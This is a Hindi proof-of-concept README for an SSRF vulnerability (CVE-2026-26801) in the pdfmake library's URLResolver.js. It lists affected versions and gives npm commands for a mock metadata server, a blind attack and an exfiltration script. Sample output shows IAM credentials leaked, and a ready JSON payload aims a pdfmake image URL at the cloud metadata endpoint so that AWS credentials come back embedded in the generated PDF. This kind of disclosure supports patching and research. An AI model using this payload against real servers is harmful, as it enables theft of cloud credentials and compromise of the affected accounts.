
PoC for CVE-2026-26801: pdfmake URLResolver.js में SSRF (>= 0.3.0-beta.2, <= 0.3.5)
| फ़ील्ड | मान |
|---|
| पैकेज | pdfmake |
| संस्करण | >= 0.3.0-beta.2, <= 0.3.5 |
| फिक्स्ड | 0.3.6 |
| CVE | CVE-2026-26801 |
| प्रकार | सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) |
| स्थान | src/URLResolver.js |
| गंभीरता | उच्च |
// URLResolver.js line 3
const response = await fetch(url, { headers }); // NO VALIDATION!
जब docDefinition में images, attachments, या files में URL होते हैं, pdfmake उन्हें बिना किसी सत्यापन के प्राप्त करता है:
npm install
npm run metadata
npm run server
ब्लाइंड SSRF (साबित करता है कि सर्वर आउटबाउंड अनुरोध करता है):
npm run attack
पूर्ण रीड SSRF (क्रेडेंशियल जनरेट किए गए PDF में एम्बेडेड):
npm run exfiltrate
npm run attack)मेटाडेटा सर्वर आउटपुट:
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> CREDENTIALS LEAKED! <<<
यह साबित करता है कि भेद्य सर्वर ने हमारे नियंत्रित एंडपॉइंट पर आउटबाउंड अनुरोध किया।
npm run exfiltrate)हमला स्क्रिप्ट exfiltrated.pdf जनरेट करती है। इसे किसी भी PDF व्यूअर में खोलें और AWS क्रेडेंशियल JSON एक फ़ाइल अटैचमेंट (metadata.json) के रूप में एम्बेडेड है। यह केवल ब्लाइंड SSRF नहीं, बल्कि पूर्ण डेटा एक्सफिल्ट्रेशन साबित करता है। हमलावर को वास्तविक प्रतिक्रिया बॉडी PDF के अंदर वापस मिलती है।
{
"content": ["Hello"],
"images": {
"x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
यह कैसे पाया गया, हमले की श्रृंखला, और प्रकटीकरण समयरेखा की कहानी के साथ पूर्ण तकनीकी राइटअप: mariopepe.github.io/cve-2026-26801-pdfmake-ssrf